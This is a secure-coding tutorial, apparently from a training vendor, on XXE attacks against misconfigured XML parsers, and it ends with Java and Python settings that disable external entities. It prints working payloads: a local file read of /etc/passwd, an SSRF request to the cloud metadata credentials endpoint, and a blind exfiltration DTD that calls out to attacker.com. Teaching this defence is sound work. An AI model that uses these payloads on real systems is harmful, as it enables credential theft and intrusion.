An XXE attack examples, scenarios, & code: it exploits a badly set up XML parser. Attackers use it to pull internal files, call out to networks, or crash services. The problem isn’t XML, it’s the configuration of the software reading it. You can stop it. The fix is in Secure Coding Practices, like disabling external entities outright. Learn the specifics to lock this down.
XXE Security Snapshot
Understanding these core points helps you recognize XXE risks and apply effective protections before they become exploitable.
- XXE exploits the gap between XML’s powerful features and insecure parser defaults.
- The attack surface extends beyond file theft to SSRF, network scanning, and denial-of-service.
- Prevention is a configuration change: disable DTDs and external entity resolution.
Why Is Allowing DTDs in XML Parsing a Security Risk?
Let’s break down the classic scenario. An application accepts XML input, maybe for a user profile or an order. The parser is configured to allow Document Type Definitions, or DTDs. This is the first misstep.
An attacker submits this instead of normal data.
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user>
<name>&xxe;</name>
</user>The parser sees the SYSTEM “file:///etc/passwd” directive. It dutifully resolves the external entity, reads the system’s password file, and places its contents right into the <name> element. If the app echoes that data back in an error message, a log, or a user profile the sensitive file is leaked.
- The DOCTYPE declaration defines a DTD.
- The ENTITY tag creates a reference named xxe.
- The SYSTEM keyword tells the parser to fetch the resource from a URI.
- The &xxe; reference is where the stolen content gets injected.
This isn’t magic. It’s the parser doing exactly what it was built to do. The vulnerability is that we let it do this for untrusted input. Strong XXE prevention starts by blocking XML external entity processing.
How Can XXE Turn Your Server into a Tool for Internal Reconnaissance?
Turning your application server into a proxy for internal reconnaissance is worse. This is Server-Side Request Forgery via XXE. By changing the protocol from file:// to http://, an attacker can force your server to make requests to internal systems.
Consider a cloud environment. Internal metadata services live at predictable addresses, like http://169.254.169.254/. An attacker doesn’t have access to this from the outside. Your vulnerable server, however, sits right inside the network.
<!DOCTYPE test [
<!ENTITY ssrf SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<order>
<id>&ssrf;</id>
</order>Suddenly, your server is fetching IAM role credentials and handing them back to the attacker. It can probe internal ports, interact with admin panels, or attack services never meant to face the internet. The impact scales with your network’s internal trust.
| XXE Attack Technique | Target Resource | Potential Impact |
| Local File Inclusion | System files (e.g., /etc/passwd) | Sensitive data disclosure |
| SSRF via External Entity | Internal services and cloud metadata endpoints | Credential theft and internal system access |
| Blind XXE with OOB Exfiltration | External attacker-controlled server | Covert data exfiltration without visible application output |
What Happens When Stolen Data Isn’t Returned in the Response?
This is “Blind XXE.” It feels safer, but it’s often just as dangerous. Attackers use out-of-band techniques to exfiltrate data.
They host a malicious DTD on a server they control.
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?data=%file;'>">
%eval;
%exfil;
Then, they send a payload that references this remote DTD.
<!DOCTYPE foo [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd">
%remote;
]>The parser fetches the remote DTD, which contains instructions to read a local file and then send its contents back to the attacker’s server as a URL parameter. The data is stolen without a trace in the application’s direct output. It’s a silent callback, a beacon from your compromised system.
As noted by OWASP
“The software processes an XML document that can contain XML entities with URIs that resolve to documents outside of the intended sphere of control, causing the product to embed incorrect documents into its output.” – OWASP
Why Can an XXE Vulnerability Go Undetected by Security Scanners?
Credits: Cyber Tomb
You run a static analysis tool. It comes back clean. You feel relieved. This is a common, and dangerous, assumption. XXE often hides in the corners.
- Legacy SOAP endpoints that everyone forgot about.
- File upload features that process Office documents (DOCX, XLSX are ZIP files containing XML).
- SAML authentication parsing, a classic XML-heavy process.
- PDF generation libraries that accept XML input for templating.
The parser might be buried deep in a third-party library, configured by a framework years ago. The vulnerability isn’t in your business logic. It’s in the plumbing. Many XXE vulnerability cases hide in overlooked XML components. Manual testing with a proxy tool like Burp Suite is crucial. You must intercept requests, change the Content-Type to application/xml, and inject payloads. You have to think like an integrator, not just a developer.
Research from OWASP ASVS shows
“Application correctly restricts XML parsers to only use the most restrictive configuration possible and to ensure that unsafe features such as resolving external entities are disabled to prevent XXE.” – OWASP ASVS
What Is the Most Important Secure Coding Practice for Preventing XXE?
The guidance is unanimous. From OWASP to CWE-611, the first line of defense is to shut down the feature set that makes XXE possible. We must change our parser’s default behavior.
In Java, with Document Builder Factory, it looks like this.
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
factory.setXIncludeAware(false);
factory.setExpandEntityReferences(false);
For Python's lxml library, you set the parser options explicitly.
from lxml import etree
parser = etree.XMLParser(resolve_entities=False, no_network=True)
safe_tree = etree.parse(xml_source, parser)The pattern is consistent across languages: find the parser configuration and disable external resource resolution. If you don’t need DTDs, turn them off. Preventing XXE injection in Java starts with this step. It’s that simple. This isn’t a workaround. It’s the correct, secure configuration for processing untrusted data.
FAQs
How can I tell if an XML parser is vulnerable to XXE?
An XML parser may be vulnerable to XXE if it processes a malicious XML payload containing a document type declaration and external entities. During security testing, verify whether the parser reads local files, sends external requests, or exposes sensitive application data.
Why are XML file uploads sometimes dangerous?
An XML file upload attack can occur when an application performs insecure XML parsing on uploaded files. Attackers can embed external entities to trigger file disclosure attacks, access internal services, or extract sensitive data if the parser accepts untrusted XML content.
What makes blind XXE attacks harder to detect?
Blind XXE attacks are difficult to detect because the application processes the XML external entity without displaying the result. Attackers often use out-of-band XXE and OOB exfiltration techniques that send stolen data to external systems instead of returning it.
Can XXE attacks affect internal systems?
Yes. An XXE attack can enable SSRF via XXE by forcing the server to send requests to internal resources. Attackers can perform internal network probing, access localhost services, and target cloud metadata endpoints that are not publicly accessible.
What should developers review during XXE threat modeling?
Developers should review parser misconfiguration, unsafe XML processing, vulnerable XML libraries, and legacy XML interfaces. They should confirm that external entities are disabled, evaluate attack surface reduction opportunities, and perform application security testing to identify exploitable weaknesses.
Build Security Into Every XML Decision
XXE is a reminder that secure software starts with secure defaults. XML can still be useful, but it should never be trusted without strict validation and locked-down parser settings. The good news is that preventing these attacks is usually straightforward when security is part of development from the start.
To strengthen those skills with hands-on practice, consider the Secure Coding Practices Bootcamp and learn practical techniques you can apply to real-world code right away.
References
- https://owasp-aasvs4.readthedocs.io/en/latest/5.5.2.html
- https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing